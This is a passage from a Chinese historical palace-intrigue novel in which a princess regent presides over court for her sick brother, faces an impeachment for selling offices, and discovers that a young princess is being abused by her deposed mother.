她气的也不是这么一件小事,她气的是袁綦脱口而出的那些话。凭什么旁人收藏她的画像就一定是对她有非分之想,凭什么别人的非分之想反过来成了她作为妻子的过错?他爱她,想要占有她,就如此不假思索地拿起世人加诸在女子身上的不公束缚来捆绑她,恼羞成怒了,就居高临下地指责她为政失德。说来说去,不就是打心眼里觉得,她不该坐在这么高的位置上么?
她不知道这些话即使说给萧盈听,他又会理解多少——而且皇兄也不能知道她都在公主府里干了些什么,别陈缙还没上书弹劾呢,她先自己都招供了。
明绰一转眼转过了许多心思,萧盈托着腮,歪着头,还在等她回答。明绰越是不开口,萧盈心里就越是把此事想得严重。
“溦溦,”萧盈提醒她似的,“有什么事情,都可以跟朕说,朕还没死呢,护得住你。”
明绰让他说得反而“嗤”一声笑出来,应付袁綦,她还不需要萧盈的保护。可是他这样说,明绰还是没忍住眼眶一热。跟驸马吵架的公主多了去了,能拔腿就走,在宫门关了以后还能回家的却只有她一个。其实公主府足够大了,她可以把袁綦赶出她的房间,甚至赶出她的内院,都可以眼不见为净,可是她却下意识地选择了回宫,还不就是心里委屈?
但上阳宫是空的,委屈带回去,只能在空荡荡的宫室里四处回响。唯独在这里,她的委屈才有人接,哪怕她根本都没说。
“你不必在袁綦面前护着我,”明绰克制着把情绪压回去,只道,“倒是桓令君和御史中丞那里,只有皇兄能护着我了。”
想必明天就要来聒噪她夜叩宫门的事情。宫禁森严是国法,长公主半夜要开门,总得给个说法。等问出来只是跟驸马吵架,回来告状这种小事,他们肯定又要啰嗦什么夫妻纲常、人伦礼法,说长公主不守妇德。
更何况,最近萧盈的身体明显好转了,他又一直拖着不立嗣,桓廊就催着让陛下重开大朝会,亲政临朝,再不必长公主摄政监国。
明绰坚决反对,好不容易才把萧盈从鬼门关拉回来的,怎么能又让他耗神费心?她是想着法希望萧盈活久一点,但在很多人那里,就成了她擅政夺权。陛下还如此纵容她夜叩宫门,视宫禁为无物,更不得了了。
其实明绰现在也不怕他们,但
是萧盈既然这么说了,她便要撒个娇。萧盈也看出她的心思,很纵容地一笑,突然道:“那就依令君所请,重开大朝会吧。”
明绰一句“不可”还没说出来,萧盈便握住了她的手,补了一句:“朕体力不支,请镇国长公主替朕上殿。”
明绰完全愣在那里,一句话也没说得出来。萧盈虽然已经给了她很多特权,但这其中并不包括这一项。
在此之前,无论她有多么大的权力,都限于含清宫之内。大雍建朝以来,唯一能上太极殿的女子只有谢拂霜,但她也必须隐身珠帘之后,还得有个年幼的天子坐在前面,才让人勉强接受。若是镇国长公主替兄上殿,那就比她母后在时还要更进一步,等于女主临朝。
萧盈看着明绰见了鬼似的神情,反而笑了笑:“怎么?这事儿你不是从小就做惯了的吗?”
这是偷换概念。她小的时候被母后抱去太极殿上,是冒充皇兄,不是真的取代皇兄。
明绰还是不敢相信似的:“可是……”
“朕听说,”萧盈打断她,“当年大燕先王曾下令帝后同朝,你在大燕不是早就临朝主政过了吗?”
明绰终于听懂了:“你想和他比啊?”
“活着的人怎么比得过已死的人?”萧盈一副认输的表情,但又没忍住补了一句,“不过我也活不长了,以后……”
明绰马上伸出手捂住了他的嘴。萧盈笑起来,把她的手拉下来,语气却十分严肃:“桓廊和陈缙既要刁难你,朕就让所有人都知道,如今是谁在做主。”
明绰便什么都不说了,心里酸软得一塌糊涂,轻轻地伏到了他的膝上。她的发髻本就散了一半,长发铺在她的肩头,又随着她的动作垂落到萧盈的腿上。萧盈抬起手臂,宽袖覆到了明绰身上,被她的手抓住,往脸上一覆。
萧盈轻笑一声:“怎么了?”
他一边问一边想把袖子抬起来,但是明绰紧紧地抓着,不肯让他看见似的。
“皇兄,”明绰的声音闷在那一层薄薄的布料下面,“你怎么突然这样?”
“哪样?”
“这么……”明绰说不上来,“纵容我。”
这个答案太显而易见了,自然是鬼门关走了一遭回来,发现了这些辅政大臣们的嘴脸,除了明绰,他谁也不信任了。萧盈脸上的神情有些哭笑不得,又拽了一把袖子,明绰终于肯放过了那片布,反而拽住了萧盈的手覆到了自己的眼睛上,好像觉得宫里的烛光太亮了,她想休息,让皇兄给她遮遮光。
萧盈终于不动了,感觉到明绰的眼睫触到了他的掌心,微微颤动。
明绰:“你从前不是这样的。”
“我从前如何?”
明绰都不用看,抬起手就指殿中罗帐的位置:“你从前都不许我与重臣列席,我只能躲在后面听。”
萧盈顿了顿,很轻声地狡辩:“没有‘不许’……”
明绰便了然地“呵”一声。萧盈是没有明着“不许”过,但是朝臣们看到长公主在场就中断对话的时候,他也没有开口帮过明绰,那她当然就知道这不是她的位置了。若不是后来她得到了袁增的支持,恐怕现在还是这样。
萧盈听到她这声“呵”,便闭了嘴。明绰见他不响,把他的手拿下来,睁着眼睛,卧在他膝上看他,萧盈反而又主动覆住了她的眼睛。
明绰有的时候太像谢拂霜了,隐在帘后听朝臣议政的时候像,此时这样看着他的时候也像。她十几岁的时候和母亲不太像,萧盈幼时对谢拂霜恨极怕极,对明绰怜极爱极,眼里也不愿意看到她们母女间的相似之处。可是明绰从长安回来以后,他就再也无法视而不见这种相似了。
萧盈时不时地总会想起谢郯,甚至梦见他,但这么多年了,他从来没有梦到过谢拂霜。可是现在看着明绰的时候,他偶尔会有一种毛骨悚然的感觉,好像谢拂霜其实没死,所以他无法在亡者的梦境里遇见她。因为她还留在人间,活在明绰身上,透过她的眼睛看着他。
他不信任那些辅政大臣,也忌惮着明绰,既不放心秧儿,又不放心稷儿。萧盈自己想想,也觉得天下真是再没有比他更孤家寡人的了。
他的手仍旧覆在明绰眼上,只看得到她下半张脸,不知道怎么的,便又想起今年做过的一个梦,梦里她坐在太极殿上,戴着他的天子冕旒,也是这样,只露出了下半张脸。
“我有时会想,当年如果让她赢了,又如何?”
明绰整个人微微一僵,萧盈这话说得没头没尾,但她立刻就明白了这个“她”是谁。
“若我能不死,就是一辈子被关在含清宫,至少我们还能在一起……”
明绰没说话,但她伸手抓住了萧盈的手腕,抓得很用力,喉间哽住一般,不得不用力吞咽。其实她真的这样想过,十五岁的小公主反复推演过不同的结局,若是母后赢了,她会用自己的所有能量来保皇兄的命,最有可能的就是争取到这一步。
可是那时的萧盈接受不了失去自由的结局。他还太年轻了,还有很多的抱负与生命力。那时候他也不知道,很快他就会失去纵马玩乐的力气,被这副躯壳一困就是将近二十年。
早知殊途同归,还不如让她赢。所以现在想想,让明绰坐到太极殿上又如何?她才姓萧,本来就是他抢了本属于明绰的一切。
萧盈轻声地叹了口气,把方才的话说完:“要么,当年就让我痛痛快快地死了,也不是什么——”
他话没说完,明绰就再次捂住了他的嘴,不让他往下说。他一晚上说了两遍快死、早该死了之类的话,明绰浑身都不舒服。卞弘说过,久病之人怕的就是心气散了,自己老想着死,那就真的什么药都救不了。
“谁说那样我们就能在一起?”明绰把他话里的错处挑出来,“母后只要活着,就绝不会答应。”
萧盈抓着她的手,拿下来:“至少你不必嫁去长安。”
“那母后也会把我嫁给别人。”明绰说,“我还是会被夫君欺负,会被气得半夜跑回宫里来,可你都没有办法替我撑腰,那我怎么办?”
萧盈张了张嘴,似乎还想跟她辩。如果停留在谢拂霜活下来的假设里,也许明绰就真的做成了这开天辟地的第一个女帝了,哪还会有什么欺负她的夫君?可他还没来得及开口,明绰已经往他怀里一扑,不由分说地抱紧了他。
萧盈慢了半拍地把手搭到她肩上,放弃了这个没有意义的假设,轻声在她耳边问:“袁綦到底怎么‘欺负’你了?”
明绰依着他的颈窝摇了摇头,她真的不想再说了。袁綦的好和不好,她现在都没有了述说的欲望。此时此刻她只有一个委屈。
“他不是你。”明绰闭上了眼睛,不管这话说得有多么蛮不讲理,“他不是你,就是欺负了我。”
第173章
珠帘突然发出极其轻微的一响,没有打断廷尉正在说的话,但是明绰听见了。一股奇异的感觉像蛇一样从她背后爬上来,明绰回过头,看了一眼珠帘后。
那里空无一人。
谢太后去世二十年,曾经常设于珠帘后的椅子早已被搬去。珠帘前面就是御座,也是空的。明绰站得非常近,已经能看清御座背靠的一块剥落的金漆。那是她小时候代兄上朝的时候实在无聊,剥着玩儿弄下来的。她当时没有想到御座上的金只有这么薄薄一层,底下原来是木头。
剥下来的时候,珠帘也是这样一动,母后露出她涂得惨白的脸,狠狠地瞪了她一眼,
从牙缝里挤出微弱的声音,让她坐好。
可是她现在不能坐,即使一步之遥,她也得站着。
“长公主?”廷尉终于发觉了她的走神,在阶下唤了她一声。明绰转回来,看见阶下每个人都低着头,看着自己的手里的笏板,恍惚间竟有些不知道今夕何夕。
站在曾经太父那个位置的是桓廊。最早以前,那里是丞相的位置,但她的先祖就是以丞相之位往前一步,取代了前梁,于是大雍就再也不设丞相了。太父是大雍有朝以来权势最高的太尉,他死之后,皇兄就也再也没有立过太尉。
可是丞相、太尉、尚书令这些词都是面目模糊的,只有站在群臣最前面的那个人,身影才是清晰的。
明绰移开视线,看定了正在奏对的廷尉:“接着说。”
这是镇国长公主第一次代替陛下开朝会,也是陛下病重数月之后第一次复朝。事前没有一个人听到风声,都以为是陛下终于康复了。但百官入殿列班的时候,只看见了站在御座边上的长公主。
圣旨甫经宣昭,群臣中便出现了一阵骚乱,可是长公主只当没听见,静静地等他们表达完自己的震惊。然后就是一阵甲胄乱碰的声响,原本应该在殿外值守的执金吾卫突然涌进了殿中。进来了也不干什么,就五步一岗地杵在那儿。杵了一会儿,方才那些不满的声音就渐渐弱下去了。
长公主就跟没事儿人似的,让他们如常奏报。
尚书台虽然仍在运转,但是罢朝数月,积压的政务还是相当繁重。天气渐凉,夜长日短。朝会开始的时候,殿内的光线都还是昏暗的,说到了这会儿,外头已经大亮。
之前皇三子封建安王,按例当有赦令。赦令下来也有一段时间了,廷尉汇报了各州汇总过来已赦免的人数,都是一些轻罪或是未决案的犯人,最多的就是边地苦役。有一些个别特案,需要在朝会上请示,是否能够特免。
“还有一人,”廷尉的眼睛往下一瞥,看了一眼自己的笏板写下的提示,“苦役犯冯濂之,非大雍之民,臣……”
他话还没说完,就听到长公主冷冷地说了一句:“此人不赦。”
桓廊从笏板上抬起了头,看了长公主一眼。明绰察觉到了他的视线,转过来与他对视,毫不避让,面无表情。僵持了片刻,桓廊还是低下了头,什么都没说。
廷尉也不敢有什么意见,习惯性地低下头道:“臣奏毕,伏乞陛下裁决……”他话还没说完,就意识到了不对,匆忙改口:“伏乞长公主圣意!”
明绰只当没看见他的窘迫。廷尉给出的几个要请特免的几乎都与曾经的谋逆有关,赦令的范围很少会包括谋逆罪,尤其封建安王也算不得特别大的喜事。只是这些都不是直接的参与者,而是被牵连仍在服苦役的后代。廷尉也只是照章办事,走个过场,没想到刚刚还冷着脸的长公主突然吐出了两个字:“可免。”
长公主并不会事事都在朝上直接给出她的裁决,尚书令所奏诸事,她就说她会回去禀报陛下,请陛下圣裁。不过赦令一事确实没太大的紧要,她既然说了,廷尉也就低头领命:“臣谨遵圣旨——呃,臣是说……”
明绰没兴趣听他当堂结巴,只问:“复有奏者?”
阶下陷入了片刻的静默,廷尉脸面都涨红了,赶紧跑回群臣队列中,恨不得拿笏板把脸整个挡住。明绰等了半刻,正要宣布退朝,只见陈缙突然越众而出,挺胸昂首,振声道:“臣有奏!”
明绰看他那神情就感觉不太好,但只能耐着性子问:“御史中丞何事?”
“臣以监察官职谨奏,镇国长公主纳贿受财,卖官鬻爵,结党营私,扰乱朝纲,致令百官失序——”他说到这里,殿中已是人人变色,但陈缙丝毫不惧,声音越抬越高,手却撩袍下跪,然后双手持笏,横着高举过头顶,像捧着他的脑袋死谏的架势,“伏乞陛下裁决,示臣死生,谨奏!”
明绰站在原地,尚无任何反应,袁綦已经一步跨出,怒道:“陈缙,你竟敢——”
袁增站在他身侧,一把就拉住了儿子。陈缙丝毫不惧,微微侧头,只问:“袁将军想做什么?”
袁綦也答不上来。他就是不能做什么,御史台弹劾是天经地义。他也知道陈缙所言非虚。所以他只能转头看了一眼明绰,只见她面无表情地站在那里,好像陈缙说的完全不是她。既无辩解,也无恐吓,就这么平静地垂着眼,俯视着陈缙从袖中拿出了他早已写好的上书,显然是今日本来打算呈给陛下的。
他抬起头,挑衅一般看着明绰:“长公主可会将臣的奏本转呈陛下?”
明绰抬了抬手,侍立在一旁的任之会意,立刻下去接过了陈缙手中的上书,送到了她手里。
明绰接过来,然后当着文武百官的面直接拆开了上书的封套。底下顿时鸦雀无声——其实本来就没人敢说话,但在这一瞬间,好像连呼吸声都一起停止了。明绰就这么堂而皇之地打开了陈缙的上书,低下头扫了一眼,第一反应竟然是,真让袁綦说对了。
她那些小把戏瞒不过御史台的眼睛。陈缙已经查得明明白白,鱼先生的画是怎么卖的,卖了多少钱,卖给了什么人,甚至这丹青手与姜川的勾结也写得明明白白——连明绰都只是疑心这一层,从来没去查证过。
明绰两眼就扫完了上书,垂下眼,又看了一眼阶下。陈缙满面怒火地看着她,昂着头,像一条随时准备进攻的蛇。桓廊也打量着,一副伺机而动的神情。一旦明绰对这封上书做什么,或是拒绝转达,他就会像见了血的猛兽一样,咬死她的罪。袁綦很紧张,紧张得有些不打自招的意味,让明绰觉得好笑。但还有一些去过公主府、买过画的人,比他更紧张。姜川的官阶没那么高,站得后,也不知道他是以为陈缙查不到他头上,还是仗着长公主,倒是一脸跟他没关系的神情。
明绰把所有人的反应都收进了眼底,重新把上书卷起来,把封套套回去,平静道:“我会转呈给皇兄的,御史中丞等陛下圣裁吧。”
她是这个反应,反而所有人都愣住了。陈缙脸上出现了一丝茫然,然后便是深深的不信任,整张脸绷着,两条很深的纹路从鼻翼边蔓延下来,让他看起来更为愤怒。他从地上起来的那一刻,明绰就知道,这事儿还没完。
这个人还真是如萧盈所说。不党不群,刚直勇烈。
明绰抬起眼睛,最后扫视了一遍阶下群臣:“复有奏者乎?”
再无一人敢言,所有人都低着头,看着自己的笏板。唯有袁綦满面担忧,看着她。明绰昂起头,切断了与他的视线相接,如常宣布:“退朝。”
她知道重臣今日无论如何一定会去求见萧盈,也没有阻拦的意思。一下朝,明绰就头也没回地摆驾要回上阳宫。走之前,当着很多人的面,把陈缙的上书交给了任之,让他一起拿回含清宫去。
袁綦一副想要跟她谈谈的样子,明绰也没有给他机会。
他们之间的争吵已经是好几天前的事情,朝中很多人都已经知道了长公主跟驸马吵架,气得连夜回宫告状一事,袁綦应该挺没有面子的。明绰不知道他想说什么,他不理解明绰真正气的东西,道歉也不过是言不由衷,甚至有可能根本不是道歉,而是损了颜面之后更深的恼怒,那就更火上浇油了。反正都不是明绰想听的话。
她更不知道的是,她又应该对他说些什么。
明绰自认她和崔庆英还是不一样的——当然,她没有因为崔庆英的通奸而鄙薄过这个人,她知道当时崔庆英的无奈。世家权贵之间的婚姻往往是利益的媾和大过感情,崔庆英就是被困在这种婚姻里面,她做什么都是无可厚非的。
明绰知道自己不一样,就是因为她还有选择。无论当时嫁给袁綦,有多少感情的成分,又有多少利益考量的成分,都是她自己做出的抉择。不错,如今时过境迁,她与大将军已经走到了势成水火的地步,与袁綦过不下去才是情理之中。可是明绰还是不愿意走到这一步,似乎这就证明了,她与袁綦之间只有熙熙利来。
可这不是真相。她心里有他。
更何况,两个儿子接连婚姻不谐,袁家的名声已经岌岌可危。大将军就算还能保住他的权势,这样的人家也是会被人看不起的。袁綦日后能不能再娶且不要说,小辈们定是难说好人家了。袁识也快要到娶妻的年纪了。
可是难就难在,这点感情虽确然地存在心间,却实在算不得太多。袁綦无论如何都排不到她心里最前面的位置。她曾经不是这样去爱萧盈的,更不是这样去爱乌兰徵的。但轮到袁綦的时候,她能给的爱就是只有这么多了。
明绰跟崔庆英不一样,她也不想有意地折辱袁綦,所以她一直维持着与萧盈之间止步于兄妹的关系。失去那个孩子的时候,萧盈陪着她,她跑了;萧盈病重的时候,她又从燕奴身边跑了一次……明绰依然是忠于袁綦的妻子,但这种忠贞已经越来越没有意义,像是她一厢情愿的自欺欺人。
她是在怜悯萧盈命不久矣吗?是怕他心气散了,所以想给他一点儿支撑的指望?还是她仍想利用感情从他身上榨取最后一点的权力,一些关于未来的保障?
明绰极力地想用这些理由来开脱她无法控制地一次次向萧盈靠近,直到那天晚上听到萧盈假设另一种可能,也许他们还能在一起,她就又尝到了心碎的滋味。
如果在一人身上已经耗尽了一生的时间,怎么怨、怎么恨都无法割舍,走了那么远,都还是要回头,却又总是有那么多的无可奈何……那么,她也真的不知道还能对另一个人说什么了。
明绰在回去的路上就命人去召裴贵嫔,把建安王抱到上阳宫去。袁綦果然又递了帖,想到上阳宫见长公主,但被明绰借她要见建安王为由推拒了。他没有死缠烂打,宫里不是他可以放肆的地方。
也不知道他转身离开的时候到底是有多黯然,连阴青蘅回来的时候都是满脸的不忍,欲言又止地想对明绰说什么:“长公主……”
明绰只当没有听见,在心里盘算着含清宫那边会是什么情形。陈缙的弹劾可大可小,萧盈不会太在意她纳贿受财这种事,但她若太有恃无恐,甚至封禁言路,表现出架空皇权的企图,萧盈恐怕还是会不高兴的。所以她就让他们去说,让他们骂,骂得萧盈觉得他们就是在欺负妹妹,这事儿就过去了。
“你亲自去含清宫盯着。”明绰嘱咐了一句,任之与阴青蘅自有默契,有什么事情,他会及时通个信的。阴青蘅闻言微怔,但马上收起了方才的那份欲言又止,应了一声喏,下去了。
明绰这才允许自己露出了些许的失神,闭了闭眼,极力想要抹去阴青蘅去打发了袁綦以后回来看着
她的那个眼神。她知道她刚才想说的是什么。
她对袁綦太不公平了。可是他在她的生命里,来得实在是太晚了。
第174章
裴贵嫔来的时候不是一个人,崇安公主也跟在她身后。明绰伸手把萧稷从裴贵嫔手里抱过来,萧玉襄就沉默地看着,也不给姑母行礼,眼神充满了敌视。
当初萧玉襄受了母亲的指使,骗了病中的父皇,虽说后来萧盈没有太追究,但毕竟对她心生芥蒂。谢星娥被废以后,崇安公主亦被强令迁居别宫,萧盈就再也没有过问过这个女儿。
萧玉襄已满了十岁,让别人来抚养她也不会认别人做母亲了,可是真要没人照料,也是可怜。明绰不是没有关心过她,但是她从母亲那里继承了对姑母的仇恨,觉得母亲有今天都是姑母害的,并不愿意领长公主的情。
这些日子里,是裴贵嫔不忍心公主和亲弟弟分离,所以常将她接到身边。崇安公主对她的态度也不怎么样,裴贵嫔也不计较,还是时常关心她的起居生活。
“你也当真是以德报怨。”
明绰只当没看见那孩子的敌意,一边哄着怀里的萧稷,一边让裴舜英坐。裴舜英微微屈膝,对长公主行了个礼才坐下,对明绰这句夸赞,她也只是浅淡地笑了笑,什么都没说。
萧盈会把萧稷交给裴舜英照料,一方面,是废去了敬夫人之后,她就是后宫中位份最高的人,另一方面,也是弥补她失去了儿子萧稚的遗憾。明绰当时提出来过,这种丧子的痛苦是弥补不了的,尤其等裴舜英知道了自己的孩子不是意外,而是死在了谢星娥手里,她难道真的能心无芥蒂地照顾仇人的孩子吗?
萧盈当时没说什么,只让她好好休息,不要多想。后来明绰自己接触了裴舜英,就明白萧盈为什么会放心了。
她人如其名,美得像一朵含露的木槿花。这宫里所有的女人加起来,恐怕都及不上她的美。初见敬漪澜时,明绰还会好奇萧盈当年为何会如此钟情于她,但是见到裴舜英的时候,明绰就觉得很合理。萧盈也不过是个男人,会倾倒在这样的美人裙下,再合理也没有了。
可是她美则美矣,人实在是太“软”了,没有一点儿脾气,说话的时候永远声如蚊蚋,问她什么事情,她也都没自己的主意,一概是“长公主说的是”。
明绰一下子就理解了为什么这么多年她会被谢星娥逼到连自己的宫门都不出,也明白了为什么萧盈对她的喜欢会这么快就消失殆尽。
萧盈自己就体弱,像敬漪澜那样坚韧,健壮,有主意的,他才是真的用过心。裴舜英这样的,只有一副好皮囊,没有一根主心骨,萧盈怜惜了一阵子就怜惜得不耐烦了。
明绰一开始瞧着裴舜英的样子,就想起了当年险些被立为皇后的王执瑈,那会儿王执瑈也是这样,柔柔弱弱,规规矩矩,跟画上的美人似的。
可是转念一想,当年她也看错了王执瑈,没有想到她骨子里是那样刚烈的人,所以现在也对裴舜英多了几分耐心。相处了这一阵子,虽没看出她有什么内里的刚强,但确实发现她有一颗近乎佛陀的慈悲心。
“孩子没有做错什么。”这就是她对谢星娥一对儿女的态度。
裴舜英的话不多,要明绰问什么,她才答什么。但明绰今天叫她来是为了打发袁綦,不是真的有事,所以也没什么能问的,就干脆不跟她说什么,一心抱着萧稷逗。她认同裴舜英那句话,稷儿是无辜的。三岁正是咿呀呀童言无忌的时候,明绰错过了晔儿这个时期,更觉得怀里的孩子可爱。
萧玉襄一直阴着脸,就在旁边虎视眈眈,好像担心姑母会害弟弟。萧稷什么都不知道,津津有味地啃着自己的手指,抬起头对着明绰笑。
公主的保母也跟在身边,瞧见萧玉襄的神情就捏了把汗。萧玉襄还接受不了,如今她的命运也掌握在这两个母亲最恨的女人手里,保母生怕她说出了什么冲撞的话,伸手想要把她牵下去,可是刚抓住萧玉襄的胳膊,她就“啊”地一声痛呼。
明绰转过头:“怎么了?”
那保母已经吓得跪了下去:“公主,我……”
萧玉襄咬牙切齿地低声骂了保母一句,骂得极为难听,让明绰没忍住皱了皱眉。且不说是不是一个公主该有的言行,就是乡野村妇也少有这样刻毒的。她把萧稷交给了裴舜英,没忍住说了一句:“你从哪儿学来这样的话?”
萧玉襄还是握着自己的左臂,脸面已经涨红了,眼里都是泪,不肯答她。萧稷叫了一声“姐姐”,她也不理。明绰站了起来,裴舜英还想劝阻,但没拉住。明绰已经走到了萧玉襄面前,低头看了看她诡异的姿势:“手臂怎么了?”
萧玉襄立刻放开,右手抬起来,用力抹了抹滚下来的泪珠,倔强道:“没怎么!”
明绰二话不说就把她的左臂拉了起来,袖子撩了上去。萧玉襄疼得龇牙咧嘴,却没挣开。只见她腕上两寸的地方有个钱币那么大的伤口,露着里面粉色的、新生的嫩肉,看着像烫出来的,水泡都破了。
明绰瞪大了眼睛,第一反应是转头去看那保母:“你好大的胆子!”
可是保母一脸的茫然惊恐,显然并不知情,跪在地上吓得连连磕头:“奴婢不知道!奴婢不知道啊!”
“那是怎么……”明绰心里突然掠过一个可能性,看着萧玉襄,“玉襄,这是怎么弄的?”
萧玉襄一下子挣开她:“不要你管!”
“你……”
可是萧玉襄不等她说什么,转头就跑了。那保母竟也顾不得跟长公主告罪,站起来就跟着小公主跑了出去。明绰站在那里,震惊又莫名地看着她们的背影,然后回过头来看着裴舜英,指望她给出一个答案。
裴舜英确实知道。她低了头,似是难以启齿:“公主有的时候……会偷偷跑回栖凤宫。”
按规矩是不许的,但是谁能不想亲娘呢。宫里就这么大,公主自己长了腿,总是会想法子去看的。裴舜英可怜孩子,对此事睁只眼闭只眼。
明绰听不懂了:“你是说这是她娘烫的?”
裴舜英就不说话了,眼神躲闪着。有那么一瞬间,明绰都要怀疑是不是裴舜英心里气不过,虐待了公主,又想嫁祸。但她实在没有这么做的必要,也不像是这样的人,明绰只能难以置信地又问一遍:“她为什
么啊!”
萧玉襄不是她的亲生女儿吗?
明绰的语气太重,萧稷感觉出她的情绪,有点儿害怕地往裴舜英怀里钻,她哄着孩子,还是那样,用极小的声音回道:“栖凤宫里几次让公主把建安王偷偷抱回去,都被我发现了,就……”
明绰终于明白了:“她就拿女儿撒气?”
裴舜英还是不说话,一下一下地拍着萧稷的背哄,都不敢看长公主。明绰的眉头越皱越紧,也是对她有些恨其不争了——慈悲也不是这么个慈悲法,这都不管?难道还要她一个嫁出去的长公主来给皇兄操心后宫里吗?
“你……”
她刚起了个调,阴青蘅已经快步从殿外走了进来,明绰只好闭上了嘴。
“长公主,贵嫔。”阴青蘅一一行礼,连年幼的建安王也没落下,这才道,“含清宫宣召长公主。”
明绰欲言又止地看了裴舜英一眼,她倒是一脸如释重负的表情,已经抱着萧稷给她行礼告退了。明绰有心再跟她说几句,但萧盈那边也确实不能耽搁,明绰只好挥了挥手让她退下,一边自己赶紧理了理衣裙,赶紧去含清宫。
阴青蘅没探出什么来,任之说,陛下没肯见旁的人,让他们把要说的话都理一理,只见了令君一人。令君进去了倒是说了好一会儿,出来的时候看着挺高兴的——听见说桓廊高兴,明绰心里就坠了一下。
去见萧盈之前,明绰特意先绕去偏殿。陛下晚上吃的那帖药还没煎好,长公主就在旁边等,等了没一会儿就着急倒出来,侍药的太医署小吏急得结结巴巴,也没拦住,看着长公主端着药就进去了。
萧盈已经躺在了床上,面朝里侧卧着。他肯定已经听见了明绰进来的动静,但是也没什么反应,假装睡着。明绰心知肚明,他既然去上阳宫宣召,就不可能自己先睡了。但她一时摸不清楚皇兄是个什么情绪,走近了一看,就见床头摞着的全是上书。
明绰快速地瞥了一眼上书的封套上的官职和名字,朝中有直奏御前之权的各台阁之臣几乎都在这儿了。明绰下朝的时候没收上来这么多的上书,想也是为了今日长公主代朝一事新呈上来的。
从封套上来看,萧盈只拆了一部分,明绰很想伸手去拿起来好好看看他看的那几封都写了什么,但是萧盈这个诡异的沉默又让她没敢。
真生她的气了?
明绰把药放下,跪伏在他床头,伸手轻轻地在萧盈肩上推了推。
萧盈动也不动,好像真睡着了。
明绰也不跟他赖,老老实实地认:“皇兄,我错了。”
萧盈的肩膀微微动了动,好像吸进去一口很长的气,又呼了出来。他还是没说话,但是好歹翻了翻身,从肩上别过头来,看着明绰。
明绰眼睛一瞟,看见了萧盈扔在了最上面的一卷上书,封套上写的是殿中尚书郎李俦,她马上拿起来,证明什么似的:“李俦有才,皇兄可是亲口夸过的!我也是一心为了大雍,何曾有乱政之心……”
李俦亦是长公主所荐。殿中尚书郎是皇帝近臣,有传达机要,起草文书之职,历来是世家子弟才能出任。李俦出身不算高,又很年轻,若非长公主举荐,不可能一出太学就身居此位。
这已经是去年的事情了,据陈缙所察,那个丹青手是今年年节的时候姜川与其前妻崔氏所献,李俦应该没有去买过画。但他有没有用别的形式送过礼,就不得而知了。
萧盈终于整个人转过来,伸手把上书从明绰手里拿回来,淡淡道:“李俦是说你好的。”
明绰又去瞥那些上书的名字,萧盈也不阻拦,只是挥了挥手,似是不怎么在意:“一半都是替你说话的。”
明绰便沉默下来,跪坐在自己的脚跟上,等着萧盈表态。
卖官鬻爵很难听,明绰不想认,因为她并不是真的谁给钱就升谁的官。拿着礼物拥到公主府的有几十个人,她只挑十来个见,但鱼先生的画只有一幅两幅,有的时候连一幅都没有——这就是明绰在挑。
这些人里都是什么品行,有何才干。谁的文章做得好,谁精通民曹水利,谁又懂军务补给……等等等等,她都要考量,也会听他们彼此引荐,有时甚至主动相邀。会拜到公主府上的,很多都是已经在别处吃过闭门羹的,多是出身不够高,或是已在朝中,哪里得罪了上峰,遭了为难。
她一言堂选的人,在朝中做事自然是要听她的话,所以一半的上书都在替她说话——这也是陈缙攻击她的理由。可是,难道桓廊不是这么干的吗?姓袁的、姓王的、姓崔的,也都是这么做的,世家门阀便是因此而成。只是他们更隐蔽一些,只帮着自己一家一姓,唯独明绰姓萧,大雍就是她家的天下,她不必要有这样的私心。
若这叫乱政,那大雍的朝政就没正过。
萧盈也不说话,就这么看了她一会儿,嘴角就没忍住轻轻一勾。明绰在想什么,他看一眼就知道了。嘴上说的是认错了,其实心里根本不觉得错,就是给他几分颜面,这会儿装得乖顺,他要是敢开口教训,她可有的话说了。
萧盈看着她的下唇,不自觉地用力绷紧,像是含着什么袖中箭之类的机关,等着她双唇一松,就要激射伤人。
萧盈叹了口气,把陈缙的那封上书抽了出来,还给了她,只道:“把那丹青手赶出府去,别让陈缙再抓着你的把柄。”
明绰一愣,抬起头看着萧盈:“啊?”
就这样?
萧盈从床上坐直,掀开被子,两只脚踩到了床边,俯身把明绰扶了起来。明绰随他坐到床边,看着他手抬起来指了指床边摞的上书:“你看吧。”
明绰眨眨眼睛:“我看?”
萧盈头疼似的,揉了揉眉心:“朕看不动了,你既替朕上朝,就也一并替朕看了吧。”
明绰缓过劲儿来了,嘴角有点儿忍不住地往上扬,明知故问:“皇兄就为了这个宣召我啊?”
萧盈垂着眼睛,看了她一眼,似是觉得好笑:“不然你以为是什么事?”
明绰故作委屈:“我以为桓令君又到皇兄面前说我坏话,皇兄要训斥我……”
萧盈笑了笑。明绰得了便宜还卖乖地挨到他身边,装得极其可怜,头一歪,嘴一瞥,看得他没忍住伸出手在她颊边捏了一下。
他捏得不重,但明绰还是皱了皱鼻子,抓住了他的手拉下来。如今又到了萧盈手脚怎么都捂不暖的季节了,明绰把他的手焐在自己手心里,搓了搓,还跟小时候一样。萧盈任她动作,眼眸半垂着,说不出的温柔。
“令君说的不是这事儿。”——其实桓廊本来是要说这事儿的,但是萧盈不太想听,所以桓廊自己知趣地闭了嘴。不过这个就没必要讲给明绰听了。
明绰抬起头:“那他都跟皇兄说什么了?”
“后宫中位空缺,”萧盈看着她,“令君提议,进裴氏为皇后。”
第175章
明绰揉着萧盈手的动作一滞,飞快地抬起眼看了看他,似有一丝讶异。但只是短短的一瞬间,便又神色如常地垂下了眼。
“好端端的,”明绰起了身,引着他躺回去,似是随口一问,“令君怎么突然想起这事儿?”
萧盈顺从地躺好,只是很浅淡地笑了一声,没有回答。他不信以明绰的聪敏,会看不出桓廊在打什么主意。
无论朝臣们怎么催,萧盈始终下不了决心立谁做太子。他现在的身体状况是稳定了很多,但是他这个病发起来,要撒手也就是一眨眼的事。万一突然又像上次那样,至少到时候还能有个名正言顺地站出来下懿旨的皇后。
明绰把萧盈的被角掖掖好,只道:“怪不得皇兄迟迟不肯立嗣。”
上次发病并非他的试探,但拖到今天也不给个准话,就显然是有意为之了。原本四大辅臣之中,只有袁增旗帜鲜明地站在了平阳王身后,现在,桓廊终于也沉不住气了。
裴舜英软弱,建安王年幼,
这一对母子怎么看都比平阳王母子好控制。
明绰不得不承认,桓廊倒是跟她想到一块儿去了,但她没有天真到以为桓廊是来帮她扶立建安王的。他要立皇后,恐怕存的还是以皇后之尊来压制长公主的心思。
